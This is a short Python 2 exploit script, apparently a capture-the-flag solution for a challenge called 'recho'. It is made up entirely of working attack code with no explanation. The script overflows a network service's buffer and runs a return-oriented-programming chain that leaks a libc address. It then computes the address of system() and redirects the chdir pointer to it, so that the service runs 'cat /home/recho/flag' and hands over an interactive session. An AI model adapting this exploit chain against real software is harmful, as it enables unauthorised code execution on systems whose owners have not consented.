recho

ROP.py

import time
import struct
from zio import *


io = zio(('localhost', 1234))
timeout = 1000 * 1000

buf = 0x0804a10c
recv_addr = 0x080489e6
sendlen_addr = 0x08048a61
chdir_plt_addr = 0x08048680
chdir_ptr = 0x804a218
ppppr_addr = 0x8048e68
pppr_addr = ppppr_addr + 0x1
ppr_addr = ppppr_addr + 0x2
pr_addr = ppppr_addr + 0x3
chdir_libc_addr = 0x000ddf30
system_libc_addr = 0x0003ea70
system_chdir_diff = system_libc_addr - chdir_libc_addr

payload = 'a' * 268 + \
    ''.join(map(
        lambda x: struct.pack('i', x)
        , [
            recv_addr,
            pr_addr,
            buf,
            sendlen_addr,
            ppr_addr,
            chdir_ptr,
            4,
            recv_addr,
            pr_addr,
            chdir_ptr,
            chdir_plt_addr,
            0xfffffff,
            buf
    ]))

a = io.readline()
print a
io.writeline(payload)
io.read(293, timeout=timeout)
io.writeline('cat /home/recho/flag')
addr = io.read(4, timeout=timeout)
print
addr = struct.unpack('i', addr)[0]
print hex(addr)
system_addr = addr + system_chdir_diff
print hex(system_addr)
payload = struct.pack('i', system_addr)
io.writeline(payload)
io.read(timeout=timeout)
io.interact()